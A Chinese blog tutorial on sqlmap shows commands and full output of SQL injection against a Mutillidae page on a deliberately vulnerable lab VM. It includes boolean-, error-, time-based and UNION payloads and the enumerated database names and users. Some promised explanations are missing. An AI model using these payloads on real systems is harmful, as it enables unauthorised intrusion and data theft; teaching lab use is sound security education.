SQLmap 自动注入 -02

1: 如果想获得SQL 数据库的信息,可以加入参数: -dbs

sqlmap -u "http://192.168.56.133/mutillidae/index.php?page=user-info.php&username=xiaosheng&password=abc&user-info-php-submit-button=View+Account+Details" --batch -p username -dbs

! legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

\* starting @ 06:07:47 /2025-01-21/

06:07:47 INFO resuming back-end DBMS 'mysql'

06:07:47 INFO testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=vpgtsrbl91e...40rho4rej4;showhints=1'). Do you want to use those Y/n Y

sqlmap resumed the following injection point(s) from stored session:


Parameter: username (GET)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: page=user-info.php&username=-4134' OR 5736=5736#&password=abc&user-info-php-submit-button=View Account Details

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: page=user-info.php&username=xiaosheng' AND (SELECT 6106 FROM(SELECT COUNT(*),CONCAT(0x717a627a71,(SELECT (ELT(6106=6106,1))),0x716b7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uiLS&password=abc&user-info-php-submit-button=View Account Details

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=user-info.php&username=xiaosheng' AND (SELECT 4704 FROM (SELECT(SLEEP(5)))pmhr)-- ITco&password=abc&user-info-php-submit-button=View Account Details

Type: UNION query

Title: MySQL UNION query (NULL) - 7 columns

Payload: page=user-info.php&username=xiaosheng' UNION ALL SELECT NULL,CONCAT(0x717a627a71,0x4e564f5771416964435a7375556e7944795359717172507a7953457451746c5a5a61436565456677,0x716b7a7871),NULL,NULL,NULL,NULL,NULL#&password=abc&user-info-php-submit-button=View Account Details


06:07:48 INFO the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)

web application technology: PHP, PHP 5.3.2, Apache 2.2.14

back-end DBMS: MySQL >= 5.0

06:07:48 INFO fetching database names

06:07:50 WARNING reflective value(s) found and filtering out

available databases 34:

\* .svn

\* bricks

\* bwapp

\* citizens

\* cryptomg

\* dvwa

\* gallery2

\* getboo

\* ghost

\* gtd-php

\* hex

\* information_schema

\* isp

\* joomla

\* mutillidae

\* mysql

\* nowasp

\* orangehrm

\* personalblog

\* peruggia

\* phpbb

\* phpmyadmin

\* proxy

\* rentnet

\* sqlol

\* tikiwiki

\* vicnum

\* wackopicko

\* wavsepdb

\* webcal

\* webgoat_coins

\* wordpress

\* wraithlogin

\* yazd

06:07:52 INFO fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.133'

06:07:52 WARNING your sqlmap version is outdated

\* ending @ 06:07:52 /2025-01-21/

下面列一下参数的作用:

下面看一下执行结果:

! legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

\* starting @ 06:11:28 /2025-01-21/

06:11:29 INFO resuming back-end DBMS 'mysql'

06:11:29 INFO testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=jfganof3ik5...ukdpgiq063;showhints=1'). Do you want to use those Y/n Y

sqlmap resumed the following injection point(s) from stored session:


Parameter: username (GET)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: page=user-info.php&username=-4134' OR 5736=5736#&password=abc&user-info-php-submit-button=View Account Details

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: page=user-info.php&username=xiaosheng' AND (SELECT 6106 FROM(SELECT COUNT(*),CONCAT(0x717a627a71,(SELECT (ELT(6106=6106,1))),0x716b7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uiLS&password=abc&user-info-php-submit-button=View Account Details

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=user-info.php&username=xiaosheng' AND (SELECT 4704 FROM (SELECT(SLEEP(5)))pmhr)-- ITco&password=abc&user-info-php-submit-button=View Account Details

Type: UNION query

Title: MySQL UNION query (NULL) - 7 columns

Payload: page=user-info.php&username=xiaosheng' UNION ALL SELECT NULL,CONCAT(0x717a627a71,0x4e564f5771416964435a7375556e7944795359717172507a7953457451746c5a5a61436565456677,0x716b7a7871),NULL,NULL,NULL,NULL,NULL#&password=abc&user-info-php-submit-button=View Account Details


06:11:30 INFO the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)

web application technology: Apache 2.2.14, PHP 5.3.2, PHP

back-end DBMS: MySQL >= 5.0

06:11:30 INFO fetching database users

06:11:32 WARNING reflective value(s) found and filtering out

database management system users 38:

\* 'bricks'@'%'

\* 'bwapp'@'%'

\* 'citizens'@'localhost'

\* 'cryptomg'@'%'

\* 'debian-sys-maint'@'localhost'

\* 'dvwa'@'%'

\* 'gallery2'@'localhost'

\* 'getboo'@'%'

\* 'ghost'@'%'

\* 'gtd-php'@'%'

\* 'hex'@'localhost'

\* 'joomla'@'localhost'

\* 'jotto'@'%'

\* 'kbloom'@'localhost'

\* 'mutillidae'@'%'

\* 'orangehrm'@'%'

\* 'personalblog'@'%'

\* 'peruggia'@'%'

\* 'phpbb'@'%'

\* 'phpmyadmin'@'localhost'

\* 'root'@'127.0.0.1'

\* 'root'@'brokenwebapps'

\* 'root'@'localhost'

\* 'sendmail'@'localhost'

\* 'sqlol'@'%'

\* 'stealth'@'localhost'

\* 'tikiwiki'@'localhost'

\* 'undertaker'@'localhost'

\* 'vicnum'@'localhost'

\* 'wackopicko'@'%'

\* 'wavsep'@'localhost'

\* 'webcal'@'localhost'

\* 'webgoat.net'@'%'

\* 'webmaster'@'localhost'

\* 'wordpress'@'%'

\* 'wraith'@'localhost'

\* 'yazd'@'%'

\* 'yazd10'@'%'

06:11:34 INFO fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.133'

06:11:34 WARNING your sqlmap version is outdated

\* ending @ 06:11:34 /2025-01-21/

可以看出上面是所有用户的结果,如果看当前用户,那么如下结果:

06:19:04 INFO the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)

web application technology: PHP, PHP 5.3.2, Apache 2.2.14

back-end DBMS: MySQL >= 5.0

06:19:04 INFO fetching current user

06:19:06 WARNING reflective value(s) found and filtering out

current user: 'mutillidae@%'

06:19:06 INFO fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.133'

06:19:06 WARNING your sqlmap version is outdated

\* ending @ 06:19:06 /2025-01-21/

参考文献: 16.SQL注入攻击_哔哩哔哩_bilibili

相关推荐
默 语1 小时前
Java新手入门:从零开始安装JDK并配置环境变量
java·开发语言·python·mysql·group by·1024程序员节·数据去重
用户3074596982072 小时前
MySQL EXPLAIN 零基础完全精通指南:从"看不懂"到"会优化"
mysql
这个DBA有点耶2 小时前
自增主键用尽了怎么办?INT溢出、在线迁移与预防策略全解析
数据库·mysql·代码规范
迷茫的大专生2 小时前
高可用总结
redis·mysql·nginx·高可用
迷茫的大专生4 小时前
服务器部署与 MySQL 运维学习笔记:从 Ansible 到高可用与性能优化
mysql·nginx·ansible·mysql优化·keepalive
Lyra_Infra5 小时前
从 MySQL 到达梦:一次信创隔离环境里的数据库迁移踩坑实录
数据库·后端·mysql
泡茶喝茶写代码5 小时前
量化数据开发实战系列(第 25 篇):基金基础接口实战:基金列表、ETF-LOF 分类、基金概况、净值数据
java·数据库·人工智能·python·mysql
worilb7 小时前
Win下使用同一套MySQL创建第二个独立实例
mysql
风哥2号7 小时前
数据库教程FGMT40‑MySQL性能优化之性能基准测试
数据库·mysql
葡萄成熟时 !8 小时前
MySQL 全套学习笔记(JDBC+连接池)
mysql